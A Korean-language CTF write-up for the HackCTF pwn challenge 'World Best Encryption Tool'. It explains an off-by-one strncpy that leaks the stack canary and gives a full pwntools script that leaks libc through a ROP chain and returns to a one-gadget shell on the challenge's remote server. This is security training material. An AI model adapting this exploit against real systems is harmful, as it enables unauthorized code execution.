[HackCTF]World Best Encryption Tool
Partial RELRO, Canary, NX 걸려있다.
[*] '/vagrant/ctfs/World_best_encryption_tool'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
메인에서는 scanf로 입력받아서 50글자 28이랑 xor해주고 strncpy로 57만큼 복사해준다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int i; // [rsp+8h] [rbp-88h]
char s1; // [rsp+Ch] [rbp-84h]
char src[64]; // [rsp+10h] [rbp-80h]
char dest; // [rsp+50h] [rbp-40h]
unsigned __int64 v8; // [rsp+88h] [rbp-8h]
v8 = __readfsqword(0x28u);
setvbuf(_bss_start, 0LL, 2, 0LL);
do
{
puts("Your text)");
__isoc99_scanf("%s", src);
for ( i = 0; i <= 49; ++i )
src[i] ^= 28u;
strncpy(&dest, src, 57uLL);
printf("Encrypted text)\n%s", &dest);
puts("\nWanna encrypt other text? (Yes/No)");
__isoc99_scanf("%s", &s1);
}
while ( !strcmp(&s1, "Yes") );
if ( strcmp(&s1, "No") )
printf("It's not on the option", "No");
return 0;
}
스택은 이런식으로 되어있다.
src(64) | dest(56) | canary(8) | sfp(8) | ret
src에서 dest로 복사할때 57만큼 복사하는데 여기서 dest크기는 56인데 canary 1바이트 덮을 수 있고 printf로 인자에 dest가 들어가니까 카나리 릭해줄 수 있다. 그리고 밑에서 또 입력받는데 여기서 카나리 맞춰주고 libc leak해주고 main으로 돌려서 무난하게 원샷 리턴해주면 된다.
exploit.py
from pwn import *
context.log_level = 'debug'
e = ELF('./World_best_encryption_tool')
#p = process('./World_best_encryption_tool')
libc = e.libc
p = remote('ctf.j0n9hyun.xyz',3027)
prdi = 0x00000000004008e3 # pop rdi ; ret
p.sendlineafter('Your text)\n','A'*56+'B')
p.recvuntil('AAAAAA')
canary = u64(p.recv(8)) - 0x42
log.info('canary : ' + hex(canary))
#p.sendlineafter('(Yes/No)\n','Yes')
#payload = 'A'*56 + '\x00'
payload = 'A'*60 + '\x00' + 'B'*63
payload += p64(canary)
payload += 'A'*8
payload += p64(prdi)
payload += p64(e.got['__libc_start_main'])
payload += p64(e.plt['puts'])
payload += p64(e.symbols['main'])
p.sendlineafter('(Yes/No)\n',payload)
libc_base = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00') - libc.symbols['__libc_start_main']
log.info('libc_base : ' + hex(libc_base))
p.sendlineafter('Your text)\n','A'*56 + '\x00' + 'B'*63 + p64(canary) + 'A'*8 + p64(libc_base + 0x45216))
p.interactive()